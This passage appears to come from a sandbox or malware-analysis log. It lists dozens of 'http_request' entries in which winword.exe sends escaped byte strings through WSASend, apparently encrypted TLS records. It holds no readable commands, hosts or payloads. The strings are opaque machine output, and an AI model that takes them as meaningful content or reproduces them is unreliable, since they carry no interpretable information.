  693. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x14\\x13cm\\x11\\xbe\\xfc\\x14n\\xefgr\\xb6\\xdaxu\\xef\\xb7d\\xab5\\x97\\x9b\"\\x80)e'\\x96<\\xea\\xb0 '\\x8d\\xac=\rh\\xa1l\\x01\\x9e\\x95c\\xf3\\xf0v\\x9b\\xd3\\xcdjs\\xca%:ewu\\x18bx\\xb5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x05b\\xc4d\\xad0\\x13o\\xaa,\\xb1\\xa7\\x9dfh\\xbb\\xa7\\xb7\\x98\\xb1z\\x1a\\x9a\\x1f\\xe2\\xd6\\xde\\xee\\xb8|\\xe5c\\x9bq\\xe3\\xa1\\xa3\\xb5\\xe5\\xeb\\xf8\\xcck\\xbf\\xe4v\\x10"
  694.  
  695.  
  696. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010f\\x99\\xad&q6p\\xcc\\xaf\\x12\\xfd\\xffc\\x03\\x82\\xc7r\\x1b\\xa2`b\\xe1\\xbb\\x8fpi@a\\xce\\x8d4\t._\\x84m\\xca\\x90p\\xee\\x1d\\xf2\\xae'\\xcec \\x16o=\\xc0\\xd8\\xe3\\xffja\\xb2@\\x08\\xd6\\xd8\\xb9\\xa6\\xe9\\xc0vn\\xd7\\xe2\\x16f\\x8b\\x14\\xf0)\\xe6l\\xf0\\xed\\xdc\\x81g\\xb5\\xac\\x93\twtb\\xa7/^\\x18\\x1c+(e\\x98\\x84\\x85\\xe7\\x07\\xa4!kz;<\\xd2\\xc3u\\x0c\\xa8\\xf2\\x88\\x0e\r\\xb3\\x1d\\xf6\\xc8r9?\\x91\\x91\\x85lze\\x0bd\\x070\\xf4\\xdb\\xd3\\x1a\\xab/\\xf4\\x10\\xc1\\xac`\\x9c\\xd8\\x8f\\xc0\\xc1\\x9b\\xcci\\x02\\xf9\\x9e\\x88\\xd1\\xc2p\\xbe\\xd8\\xfa\\xaf\t\\xab\\x93\\x8b\\xa9n\\x9a#\\x85.\\x90(\\xcb\\xaf\\xe5\\xf2\\xe0\\x1c\\x8d3\\xb5\\x0c;\t\\xc0\\x12\\xcd\\xf9\\xcf\\xd1\\xa7\\xfd\\xf8\\xb0\\xf0k\\x9b\\xa6d\\xbc\\xdc/\\xa4\\x10\\xa4\\x14a\\x98\\xc9\\xd72\\xcedl\\xa8pbcj\\x8d\\xd0\\xba\\xd4\\xc7*ns\\xc1\\x13|\\xcbvv\\x07\\x84\\x91r\\x02 q\\xd1\\x8b:\\x9e"
  697.  
  698.  
  699. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04@j\\x93\\xfd0`\\xb7mx\\x94m\\xb6\\xeas\\x91\\xaf\nof\\xbe\\x14\r\\xa0\\xb07\\x8b\\xa7\\x15\\x0e\\x8fj\\x08j\\x05\\xacf\\x15\\x0cz\\x7f\\x87\\xaf&\\x08\\x05\\x92\r\\x07$\\xf0\\xfa\\xa5\\xbd#\\x98\\xba\\xbf2\\x0c\\xb2\\x91+\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000j\\x9e\\x14\\xd7\\x11q\\xe6.zp+\\xf5.)g\\xfa\\x95%#\\x10\\xa9\\xf2\\xd4\\x8c\\xb7i\\xec\\x18\\x1f\\xcc\\x81+\\xa9f\\xc0\\xe4\\x11\\x1e\\x85y9\\x9c\\xeau 8"
  700.  
  701.  
  702. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1f-ebn\\xe0*\\x8c+q\\x8e\\xadp\\xd3\\xe7h&,\\xd0\\x1f\\xc6\\xd2\\x94\\x1aq\\x80dd\\xfd9\\x03\\xb8\\x9c\\xf4\\x95\\xf2e\\x9cd\\xe1\\xb3m\\x1c\\xa9\\x01n\\xe7rg\\xe72\\xe9\\x10\\x07\\x03\\xe6\\xff\\x11\\x9c\\xe1\\xef\\x16\\xcb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x97\\xf5\\x801t\\xcf\\x12\\x01\\xe7\te\\x93n\\x07s\\x93\\x11\\xa7.\\x9b\\xeb\\x02\\xe4\\xd0\\xb8tl\\xf2\\xf0,\\xb6\\xc5>\\x9f\\xf2\\x82\\xea\\xbc\\xb2|\\xca\\xa0\\xb3\\x86bzk"
  703.  
  704.  
  705. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfe\\xc6<p\\xe7\\xfd\\xf1\\x85\\xdf\\xa5?\\xdd\\xf8\\xc2i\\xc4\\xf5\\xf1\\xbb\\x0e\\xbf\\xf1-\\x133\r\\xd4\\xb5\\x01l\\x8c\\x82\\x1ds\\xe3\\xe2\\x04\\x07\\xa27w\\xfe\\xf5\\x17\\x844\\xc4\\xe17kks\\xa2\\x999d\\xcd\\xbf\\xc6\\xc7\\xd2<\\x0e\\x85\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0008\\xb4\\x97\\xf8\\x1e\\x9b\\xab\\xcc\\x8c\\xea\\x06r\\xb8)\\x1eq\\xdb?i\\xb4\\xb0\\xe5\\x94\\xcd\\xe4$\\x08,\\xa2a_pj\\xe5\t\\xf1\\x19\\x0ev\\x82\\x88\\xd6\r\\x04\\x96\\x94\\x07"
  706.  
  707.  
  708. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd1\\xd4\\xacd\\xf22&\\xb9~\\x07\\xf0\\xa3\\xccbv\\xd0\\xc65di\\xfe\\x1e\\xb4\\xa87y\\xe5\\xe7\\xddzo\\xb9\\xf8\\xc8\\xe8@?\\x94\\x96\\xf4\\xcbea2\\xe9\\xf1\\xaa\\xb0\\xaf\\xf1\\x8c\\xa8\\x88(\\xbf+\\xac\\xc8\\xad\\xa4+ \\x8f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa1d\\xf2d\\xe0\\xc8\\x82\\xc1\\x8b\\x08\\x0er\\xac\\xcd\r!\\xa1\\x7f-\\xd2\\xb7\\x06b\\xa9\\xd8\\xd7b/y(\\xe8\\xc7\\xb3\\x7fna\\xc8\\xd5\\xac\\xa0+(\\xb2@b\\x97;"
  709.  
  710.  
  711. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04r\\xa5s\\xe4\\x16\\xd5oq\\x92\\x97\\x1e\\x1e\\x18\\x08de\\xe7\\x02\\xf6\\x07\\x1e\\xa1xtv\\x03\\xc4c\\x879\\x84\\x12&\\xc5p\\xa2\\x1b\\x8f\\xac\\xe5\\x83\\x03m!\\x8e\\x96\\xa3\\xe6v)\r\\xc2\\x0e\\x86+\\x90\\xb6\\xff\\xe3^\\xdb\\xae\\xdd\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0002\\x1b\\xdc\\xb4\\xbb+\\x8ffu\\xd0\\xd2/h\\x9cp\\x93y\\x9d\\xd2`\\x81\\xb8ms\\xa7\\x1e\\x08\\xb9\\x95\\xcb<\\xe4\\x1a9rk\\xfc\\xbf\\xdex\\x97\\xb9qyy\\x0f\\xd4"
  712.  
  713.  
  714. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010u!\\xf2\\x89\\xf0u\\xfca\\x84d\\xbewy\\x1d\\xa6\\xa9|\\xfd9\\xb3q\\xce'\\x91c\\xe2\\x80\\x17\\xb5i*\\x07\\xea\\x06 h\n5\\xbd_\\xe73\\xd7\\xf8cl\\x8a\\xbc\\xa6a\\xc0ig\\x1e\\xdf\\xc7l\\xe8d4\\x0c\\x08\\xfa4\\x95#\\x95\\xa5\\xdf\\xc9\\x86\\x8c\\xcfq\\xd5\\xd2\\xc5k\\x11\\xd5\\xb8\\x86\\x15\\xf3\\xaf\\xa2h\\xe7i\\x86\\x99\\xa07\\x8b\\xdbk<\\x8d\\xf5\\x82g\\xdb\\x15\\xba\\x91_\\x8d0z\\xf1\\xa3\\xf6\\xc5qv\\xee/\\xd8\r\\x82w\\x9f\\xb4\\x1d\\xef\\xe7q\\xc8\\xf4\\xf0\\x1b\\xeegn\\xb5\\xbd\\xe8\\xc7\\x01<\\xd98\\xb2\\x86\\xb0\\x11|\\x1a+\\xfc\\x90\\xd4\\xecytg\\xe8\\xa0\\x9e\\x0c\\xcb\\x1d6\\xb6\\x05x\\xb77\\xc1\\xbb\\xd3\\x8b\\xf7\\xff\\xecs\\xd7!\\x990\\x1ag\\x0b \\xc8\\xe2\\xb1rm\\x0c\\xa1 \\xb7\\x96)\\x93\\xb2\\xcf\\xc2\\xb0\\x93=ewp\\x8f\\xe4\\xa8a\\xf3c\\x1a\\xab\\xf5\\x9bt%\\x10v\\xd8\\x12\\x08\\xf47\\xd6\\x1c\\x14\\xa2\\xc98\\xbb_f\\x99\\x82\\x0b#\\x0f\\x1d/\\x12(\\xd3\\xa6\\xccxt"
  715.  
  716.  
  717. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010nf?\\xd5\\x9d\\xe0nm\\x12\\x86\\xbcl\\xf2\\xa9\\xd7\\xfao\\x82\\xea^ \\xb5\\xeb\\x85nw\\xd2\\x92\\xe5_\\((8 z\\x91\\xc7\\xb3n\\xaa+\\xd7;\\xbd\\xe0\\x91yc\\xb1\\xb8\\xc1=*~z\\x9c\\xef\\xce\\x1f\\x8d\\xac\\xf5\\x84\\xb3\\x85\\x1d\\xea\\xbe\\x80\\x97s\\x0f\\x198\\x87\\xf0\\x1b\\xdb\\xf3\\x91\\xb5p\\x05'2\\x16*\\x08a\\xb7g=p \\xa3\\xabz\\xed\\xb0r\\x8d\\xef\\x8f\\xa6\\xc0\\xcc\\xcdb\\x1br\\x01\\xea\\x18\\x13\\xb3m'\\xd2\\xeda\\xd9\\xb7\\xe24>\\xe8\\x85\\xef\\x97c:\\xf8\\x89\\xfe\\x86\\xfa\\x1b\\xd4f\\xdc`\\xc3\\x01e\\xaf\r$tr\\xa3\\xc5\\xb31\\xe4\\x9e\\xea~\\xe3\\x1f\\xd4\\x91\\x8d^mzlx|\\xc1\\xb1y=\\xe7\\x0c\\x11im\\x19\\xfb\\xa4\\xc5\\x18\\xa3\\xdb\\xfd\\xa1h\\xc5\\xbe5\\xdb\tw\\x18\\xcd\\x89^\\xd8\\x02p\\x90v\\x83\\x12\\x7fu\\xc0\\xd3\\x1d\\x98\\x95\\xdfz\\xfd\\x8by\\xc5\\x95o\\x14\\xa4\\x9a=\\xe5\\x93\\x99ja\\xdej\\x89\\xdccj\\xdb<\\x12\\xfc\\xc3\\xd9\\xbe\\xe0\\xf4q\\x14"
  718.  
  719.  
  720. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010x\\xb57n\\xd1:\\xee\\\\x16m^\\xa9\\x9eis\\xd9\t\\x8c\\x1d\\xa1kg\\xc4\\xff\\xbf\\xec/\\x07\\x01y\\xae\\x1d\\xde\\xe4w\\xa9\\xda\\x03\\x9etw\\xee\\x0c\\x8bg\\xdf\\xd0\\xba\\xe9\\xeb\\xa9\\xd9\\x9e\\x84\\x9ed\\xeb\\xa6\\xb4\\xd4\\xbd\\xfb\\xe5\\xbf\\xd5)\\xff\\xb0t\\xc4\\xb0w\\xacr/4\\xf0\\x85\\x1a\\x87\\xcd\\xa6\\x17\\x07\\x99|\\x10-\\xdb\\x96-\n\\xe8\\xb1c\\x8b\\x90zt\\x0f\\x85\\x84\\xe6p\\x0e#r=\\x08\\xe9\\x85\\xfcep\\xd1\\x98(n\\x03\\xd8\\xe6\\xc1\\x08\\xd3 \\x1a\\xf2\\xb8\\x99\\xf0(\\x88\\xb2\\x0c\\xbe\\xef#\\x9c\\xd3?\\x1b\\x95\\x00\\x0b\\xff\\xce<c\\xfa\\x96\\xe5\\x12\\xf0\\xffu(\\x94\\xe6\\x84w<~cdpk\\x8a\\xd4\\xfa\\xb6&p\\xc0\\x80\tt\\\\x13`;\\x9c9\\xc1\\xdc\\x81\\xbf\\x0f\\xaa\\x06\\xea\\xc2\\xb4\\x88\\xbd\\xc9c\\xc0g\\xdc\\xea\\x10\\x13i\\xf1\\x17\\xf90\\xd8\\xdfa\\xeb\\xfet\\xa33.\\xd7\\x12\\xb9\\x9c\\xe0\\xa5\\xbcx\\xf7\\xda\\xdb%\\xc4\n\\x9blg\\xbe\ne \\xbd\\xca\\x86q>\\x7f\\x18t9\\x9cl"
  721.  
  722.  
  723. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xde\\x91\\x19\\xd5/h\\xb1\\xb1\\x84\\xdb\\x82\\xbd\\xc5p\\xeb\\xa6o\\xf0\\x18\\xe6\\xe7\\xfa_\\x03\\xfe\\xfa\\xd7\\x87j\\xc7\\xe4\\x01\\x9au\\x96\\x8f\\xb17+\\xdc\\xa5\\xee\\xd8\\xd0\\xdd8\\xab\\xf5\\xfaqb&8\\xe8\\x10\\xf7\\xeb\\x08\\xf9\\xd7\\xe9~x0\\xb0\\xe5ic!fi\\xe7\\xb5\\xbb\\xa3\\x82%\\xdf\\xd7x\\xd6\\xfd\\xd7\\xf4b\r\\xf0\\x12\\xde:+\\x8f\\xab,\\x15q\\xc7\\x01\\xa2\\xeb\\x9c\t\\x06&z\\xa2\\x93\\xbb\\xdd+\\xc99\\xba-d\\xfe\\xa2\"\\xec\\x96\\xaf1\\xfb\\x1f\\xe7$\\xb5\\xe4+\\x84\\xb5~\\x19aw\\xca\n\\x7f;c=k\\x95\\xb5k\\x9e\\xa7\\xe7qr\\xbb\\xa8\\x1e\\xb9\\x91\\xa2\\xd5\\x07k`\\xbfo&\\xb8b\\xe7\\xe8\\xd5\\x15\\xb6\\xa3\\xd1\\xe9\\xcc\\xa3d\\xferm\\x84\\x99\\x1a2!\\xd2\\xd6\\xe7m\\x9f(#\\xf8cbn\\xe8\\xb4\\xdf/\r\\x13'\\xa2\\x83\\xb9\rphi^$h\\x08\\xbd\\x18\\xd23w\\xb1\\xe3\\xf6\\xc0\\xfe\\xe6/fd\t\\x12\\xb7m\\xa5k\\x19\\xe6\\xc2\\x15n\\xdc~\\x0fv?\\xbc\\xa0\\xef"
  724.  
  725.  
  726. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010t\\xd7\\xed\\xa5\\xeb\"\\x9aq\\xa7\\x8a=\\xb9\\xb8\\x9c\\xa6\\x10d\\xcb\\xefrx\\x95nr\\xa7\\xf7\\xf9\\xe0\\xdb\\x95\\xdb\\xc0\\xe6\\xb5\\x81\\x86\\x87\\xd1wb\\xbfa\\xd6\\x85\\xf6x\\xf8\\xec\\xc9\\xfa\\x10\\xc2qz\\xb8\\x8axl\\xe2\\xe4q\\xb0\\xa4\\xa3\\xe3\\x8c|+\\x92\\xbb \\xe5v\\x9d\\xda\\xa2\\xc7n\\x03n\\xf8l\\xac\\xfa\\xc2\\xb7+\\xb0\\x8f\\x91\\xe2\\xfa\\xd5se\\xa5\\x15\\x13\\xa9a\\xaa\\xa4\\xac\\x93\\x94\\xfa\\xfa\\x00;\\xea\\x9fs\\x06-\\x0c\\x8b\\xa3c\\xfc\\xcc\\xe6ms\\xe9\\xa6\\xa3\\xfa\\xb2\\xa3!\\xf6op\\x97\\x07_\\xe1\\x04g\\x8a\\x0bi\\x1c4:\\xf6\\xc8\\x03u\\xa4\\xa4q\\xfc8p\\x19,\\xcb\\xbam\n=ua\\x8eb\\xe2\\xc18*\\xc0\\x9e\\xffox\\xce\\x89\\x910w\\x8a\"\\xbd8p<\\xb8\\x95\\xcc\\xdezq\\xda\\x16\\xe1h\\x15\\xd3\\xce\\x99#\\xe8\\x14\\xb4\\xf5\\x88\\x16~\\x19ns__\\xcap\\xa3\\x8c\\x9a\\xd0\\xb3\\xdf44\\x05\\x1ey\\xaf4$\\xd9ll\\xe3g\\xfa\\xc8\\x9d=v\\x8c\\x1b\\xadd\\xaa\\xfb\\xe6\\xc4\\x94"
  727.  
  728.  
  729. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb3\"\\xb3\\xccj\\x8b1=b\\x12u\\xe6\\xde\\x05\\x92\\xe3\rh\"l.\\xf835\\xacq\\x1d+\\xb2\\xb2\\xc9\\x1b\\x0b\\xf8\\x03\\x93\\xd1$0\\x13\\xa2\\x88\\xe3\\xc3\\xb9\\xc4\\x9e;\\xad1oh@\\xbcmn\\xdd\\xdc\\\\x8fm\\x89\\xde\\x0c\\xc3h\\x13fbj\\xb7\\x07\\xc9\\x8ex\\x86\\x97\\xae\\xc5\\xaajdil\n+\\x9b\\x0e\\xd4\\xc10\\xb8ci\\x97-t\\xbb\\x80#\\xbf\\xae(\\xe3\\xa8ymu\\x92'\\xc1\\xf7\\xd0c&\\x15\\x00\\\\xc1\\xcdv\\x1au\\xaa\\xf1tk\\xadx\\xf5\\xe7\\xeac7q\\xfb\\xda\t\\x88\\xdd\\x12h\\xaa\\x82v\\x8a\\xaeq\\xc7\\x1c\\x0f\\x1e\\xd0\\xf5l\\x05\\xd2\\xe9\n\\xd7:\\x8c\\x0b\\xfa\\xe1,\\x13\\xd2^\\xf1\\x89\\x9c-\\xed\\xa5\\x9ds\\xe1 '7\\x03\\xb1\\x96@\\x96\\x88\\x96\\x8bl\\x04\\xd4\\x99\\xd2\\xd8l\\xf3pbc\\xf62(l\\xb3m~2\\x9f\\xc1\\x12\\xbdh5j\\xec e\\\\xa3>\\xed\\x00\\xbfd\\x06\\xc5\\x96\\x853h\"\\x86d\\x1b\\xce\\xf0\\xeb\\x06z\\xb0\\x9e\\x82\\xfd\\xd7\\xbb\\xf4\\x9a\\xe2"
  730.  
  731.  
  732. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8f\\x16\\xb6x\\xe6\\x8c)\\xe0fsn6\\x865\\xf5\\x1f\\x8ap\\x98\\x02\\x06\\xbe\\xb4< \\x10\\xd8\\xaf\\xf4`nb\\x1c%\\xb1\\x9e\\xa0\\xb5mn\\x10al\\x1f\\xf92\\xe5vsl\\x91\\xc2|5\\xec\\xa2\\xa4\\xa6-\\x8aw\\xd9?\\x1f|\\xa5u&t\\xd5c\\xc8z\\xd5\\x8a\t\\xab\\xb8\\x06\\xff\\x88i\\x83\\x91\\xb1b\\xb3\\xb9\\x94\\xa7\\x18\\xbd\\x85\\x16v\\xe1\\x98\\xd1\\xe4\\xfd\\xddhkf\\x04\\xf1\\xedn\\xb9\\x89\\xa0\\xa6j\\x7f|wy\\x8b'6\\x8b*2>(\\x82\\x15\\x0c\\xcc\\xd6\\xf4.\\xce\\x9f\\x0c\\x08\\x0c/\\xf6\\xf3.,x\\xf4\\xe3\\x97\\x96\\x0f\\x96\\x87\\xcdlv'\\xeey\\x99\\xdav\\xcb\\xb3\\xf0\\x97q\\xa3z\\xc2\\xeat\\x9cdu\\x16w\\x9dx^\\xe7\\x8f\\xa8\\xe0\\xcb\\xbc\\x19\\xf4\\xf5*/\\xed9\\x19\r\\xc8\\xb8z\\xdau=\\xf9\\xbb\\x87d\\x9d\\xbe,\\xed\\xf4\\x18\\x963\\x851\\x1c\\x82\\xcc\\xc4+\\xc5\\xbc\\x16g\\xd2s\\xf1\nm\\xdb\\x843\\x0f\\xd0\\x8d\\xd18t\\x1c\\xb4\\xbc%f\\x87_\\x9ba\\xa5\\xa9\\x8d\\xea"
  733.  
  734.  
  735. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xba\\xb6\\xa6\\xb2r\\x9cj\\xf8\\xf6\\xf8\\xc8\\xcd_h`#\\xe9\\xf4)#\\xc9\\x86\\xb5\\xdd\\x1a\\xa9v\\xaby\\xb2,\\x1cnl\\xf4\\x8fo\\xd2\\x86\\xc2\\x8aq\\xb3\\x8d\\xbc<a\\x92w\\xad\\xb7e\\xbf6\\xfa\\x87\\xedt\\x0b\\x06\\xbd\\x02\\x11\\x97\\x07\\xcd>\\xd9\\xa3\\x81bh\\xf5\\x87\\xffb'_kk\\xe9\\xe3\\x97\\x19qq\\x8a\\xcem;c\\xb6\\x13\\xbb0w_\\xb1\\x05x\\xae\\xa4\\x9f\\xaac\\x84~=\\x07\\x98!g\\xbd8\\x0f\\x17\\xd0k_\\x18\\x1a\r\\xe7\\xe0-5\\xae\\xc5zz\\xac^mt\\x0by\\xfc5_\\xe8\\x10\n\\xa41\\x15qt\\xd7\\x97d\\xcb\\xc3\\x1e\\x9f\\x9a\\x9d\\x87\\xfdsx\\xc4\\xba\\xa0\\xae\\x00\\x1fr\\x92\\x1b\\xa3\\x8c\\x146f\\xe8o\\x87x\\xc1\\x1d\\xc8\\xc3z\\xa3q\\x87\\x1b\\xe3\\xe0\\xfb~hgb\\x94_\\xd6\\xe4:\\x07\\xc0\\x8f\\xbd)w\\x97`\\x84\\xfe\\xfd\\xe0d\\x924\\xb1\\xe8r\\xd4\\xaa4\\x99\\x9dl\\xad\\xd8\\xbe\\xa4\\xa7\\xd8\\xaal\\xf7\\x95g\\xeb\\x83\\xf7\\x1c\\x02nj\\x1f\\xb6o\\x8a\\xe2\"\\xf1"
  736.  
  737.  
  738. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xeb\\xeb5\\x94\\x0c\\x87#\\x84$\\x11\\xb5\\xb4\\x92\\x92q\\x90\\xf2\\xc4\\xf3\\xdd\\xf4\\x88\\x00\\xbe\\xbf\\xd1>\\xaf\\xaew\\xbe\\xc3!kr\\xcd\\x16iav\\x00\\x\\xb3\\x14\\xf6vf\\xfa\\x10g\\x81fh=\\xd8\\xda\\x10e\\x1e\\x03\\x87\\xf8\\xf5i\\xf1&\\xe8\\xe3a\\xd2\\xb6\\xd9\\xc4\\xc5~%\\x8bwebh\\xear90\\xf8\\xcch\\xa3\\xb5:;jc\\x8e\\x90\\x0e\\xb6vf^\\xa9\\xa8\\x19\\x1cepf\\x07\\x7f\\x91<\\xb7fw\\xf0\\xb8*\\xf5\\xb7\\x13\\xf5\\x01\\xcdc\\xc9\\xf4\\x98\n\\xa6\\xd7\\x15\\xfc\\xc4#\\xeed\\x0ep\\xb2r\\xacw\\xdce\r\\x06.\\xec\\xa1\\xa0\\xcd*\\x00z\\xf4c\\x0f\\xb7c\\xd1\\xc1\\x7fl\\xd2\\x1e\\4\\x93\\xfb\\xd9\\x8dq\\xa2\\xe1&sbpk\\x99\\xdaj\\x9c\\xa7\\xad\\xd8b5\\x8c\\x99\\x96hkw\\xd8\\x8a\\x7f\\x0f\\xd5\\x97\\xa6\\xf4\r,\\xea)\\x14\\xef\\xc8sfu\\x89+\\x92\\xe9\\xd2<\\xe3\\x1c\\xfbh\\xa7#\\x1a9\\xf8\\x18^<\n\\xf1\\x14\\xb7\\xa9\\xd0\\xcb\\xe9\\xc01\\x8eo\\xf7\nb\\xca"
  739.  
  740.  
  741. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010lq\\x92m\\xbeo\\x800\\xda\\xc1%n\\x17,\\x14j\\xd00\\x1b\\x90\\xa2\\xac\\xceib\\xff\\xa8\\xa9\\xdc\\x9f\\xf2<\\xb8\\x12\\xf0\\xbb#w\\xc1\\xe2\\xb0x\\xb3\\xb5\\xbe\\xe7\\xe3w\\xc9\\xde8!\\x18\\xb4b\\xb2s\\xcb\r\\xe8\\x94\\xf0\\xb8\\x91\\xdc6\\xabjoc/|po\\xf5@o\\x0f~f\\xa69\\xe4_s\\x81=?\\xd7\\xf7\r\\xc2r\\x134g\\x10\\xf9\\xe8p\\xb6\\x02\\xf6n!\\xa0)?\\xe5\\xea\n\\xc4\\xe6y\\x0f4\\xa9\\x8b.\\x15\\x95d\\xe4\\x1ad\\xa9\\x95\\x81\\xc3\\x8c\\xdd\\xbc0\\xf9\\xc2\\x92x~\\xe4\\xfd\\xf6\\xb9\\x18\\x81\\xa58f\\xdf%\\xd2k\\xee\\xe2\\x8f\\xe9\\xa9*\\xd8\\xf9\\xf7x\\xca\\xe0\\xdb\\x97\\x9cr\\xa7c>\\xa4\\x03\\x1c\\x1ao\\xf5\\xc0\\x0b\\x873*\\xb3@\\xd8m\\x00$a\\xd8z5\\xb0u\\x99\\xd5\\xe3\\xc6\\x06a>\\x0bg\\xa1\\xa6\\x8f|\\x7f\\xfe\\xf6\\x8d6\\xd5=\\xc1\\x9f\\xfau\\xb7\\xe6\\x06\\xbel)\\xd4\\xe6\\xeb\"\\xe0jx\\xf3k\\xb6p9\n\\xd9\\xac\\x05\\xedog\\x81:\\xe2\\x02k\\xbc\\xd9"
  742.  
  743.  
  744. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x17^\\x88^\\xae\\xe2\\x10\\x06\\xbd\\xec0\\x81\\xd1f\rb\\xd2\\xf7=\\xc9\\x9f\\x0be\\xf5\\x8fm\\xe0a\\xd1\\xfc\\xaa\\x1e\\x95\\x7f>\\x00%e:\\xd5hh\\xeft\\xa5_\\x10\\xd5\\xd1\\xb9\\x9bwqo\\xe7\\xd0p\\xec\\x9d?id\\x9ed\\xf4\\xae\\xa5t\\x86\\xf9_\\xfe\\x12\\xd4\\xbf\\xc3\\xdf\\xe3\\x83\\x85\\x93\\xc3m\\xad!\\xa1\\xb9\\xc80`t\\xf2;\\xb7\\xd4\\xe1\\xa8\\x9e\\xe1nw\\xda\\xcf\\xff\\xae_\\xbc; \\xedy\\xa5\\xbe\\xb06\\x90\\xba~\\x13\\xbftx\\xef'\\xd2\\x9a\\x01\\xde\\x80\\x85l\\xa6\\x13\\xa2n\\xcb\\xf2\\xee\\x84ap\\xbcb\r#\\x10\\xb9~\\x94;\\xea\\xde\\xeb\\xab\\x080\\xfet\\x15g%)\\x9c\\xf3\\xc5\\x8b\\xca\\x08\\xf2\\xb2\\x0f\\x0f\\x1a\\xaa\\xe3-\\xae\\xe8\\x15\\x86\\x7f\\xdb\\xa9l\\xba\\xa4\\x8c'!?f!`#x\\x12p\\xd0u=w\\xeb\\xaf\\xeb\\xae(-\\x94s\\x98\\xc6yr>s\"\\xcf\\xe6\\xa0\\x8d\\xc6\\xdd~\\x03\\xbb\\xd0\\xda8\\x89i\\x13\\xc0\\x9f\\x1a\\x8d\\xbb\\xcd8\\xf9\\x11k\\xb9c\\xa5\\xf1v\\x07\\xfa\\xec"
  745.  
  746.  
  747. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x13\\xb4s.\\xe4\\xd8\\xd0\\xb8k\n?\\xd5\\xba\\xe9\\x03\"|\\xe8\\x08\\xdb*\\xba\\xc9^8\\x90\\x19qf|\\xf5\\xaa\\x7f\\x03>\\x8b\\xd5u%\\xac\\x82\\x9c\\xb6\\xfd|\\x15fl\\x8b\\xba\\xd2.\\xeb\\xf4\\x8a\\x9a\\xea\\x9c\\x1e\\x10\\xa1\\xc2m\\xdc\\xa7\\xdb\\xd7\\x12pw\\x82\\xf6\r\\xc5\\x83\\xf5s\\xf8\\xa5\\xe0\\xfe\\x067\\xa0\\x81\\x83\\x82\\xe0\\xe2\\x01\\x05m+,\\xd8\\xa3cv\\x8ea\\xd3#n\\xb4\\xae?r9y\r\\x0e\\x1c'\\x87q\\xfc\\xf5w\\xfd\\xa3zg\\xc5\\xa0\\x1d\\xe6(2dr8ys3\\x85\\xe1\\x02g\\xc4\\x9cs\\xe9\\x06\\xbeg\\x8f\\xa6\\xb1?\\x00\\xc2\\xecdrc\\xc1`l\\xc2\\x14\\x8c\\x7f\\xe5\\xe1m\\x1f\\xa0tg\\xd2!rz\\x90;\\xf72\\x10\\x99h\\x05\\xb8mqk|i\\x0cyv8\\xad\\xcf\\xd9\\x04\\xa1a\\xe1h\\xd7\\x1a\\x85e\\x08\\xb3\\xb4\\xdb:vng4\\xea\\xb1\\xc3\\x00\\x87) m\\x7f\\xa9v\\xdf\\x91m\\xddrh\\xd93\\xc9\\xf3\\xee\\xe3j\\x98\\xab\\xc9\\xf7\\x86zro\\x91\\xd6\\xb6"
  748.  
  749.  
  750. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0106\\xd0\\xf2\\xbd\\x98\\x01\\xe9d\\xd0v\\xd6;\\xd5j\\xd1\\x02\\xf0\\x83u\\x80\\xece\\x1e\\xf4\\x83\\xc7\\xe4\\xd9k\\xcc\\x87\\xb7\\xec\\xa9%\\x81\\x0e0l3\\x18\\x01t\\xc8\\xd5d:\\x15\\xf2\\xd8\\x11\\x1f\\x02$\\xb9\\xb5v\\xa4\r\\xb7\\xabh9\\x93\r\\x0b\\x91\\xfe\\xa4\\xe5\\x01\\xef\\x8e\\xcfj\\xed\\xb5\\x12\\xc6\\x91\\xa3\\xa2\\xf6/r\\x11\\xc2\\xa5\\\\x0bxd\\xa0\\xa2\\xbb\\xf1\\x82\\x1f\\x05\\xb6\\xbf\\xa2\\xbc-\\xd7\\x97yj<\\xf2;<?o\\x82\\xc3\\xddn\\x03\\x10\\x8b\\x80\\x99u|t!j+\\xb7\\xd6\\xb9\\xea\\xb7\\xa4\\x1d\\x06-\\xfex\\x82l\\xb7\\x01n`\\xa5\\xa7\\x88\\x9d\\x94\\x0f\\xf8\\x86\\xc6\\xc2.\\x91\\xae\\xf3\\xb3\\xa9\\xb0\\xf8i*81\\xf8g\\x03f6+m\\xa2\\xc1\\xfc\\xa8fdm\\xc5_\\x88\\x15\\x10\n4\\x7f'zt\\xb0b\\x08e_c\\xb0m\\xdf\\x08\\x11\\xc1\\x17\\x9a\\xb9ra\\x0c\\x08z\\xd8\\xa9en8\\xdd\\xd8\\xeda\\x1b\\x88e\\x89\\xcc|\\xc2\\xc8\\xcb\\xbe\\x124^\\x1b\\xad__\\x83\\x98=\\x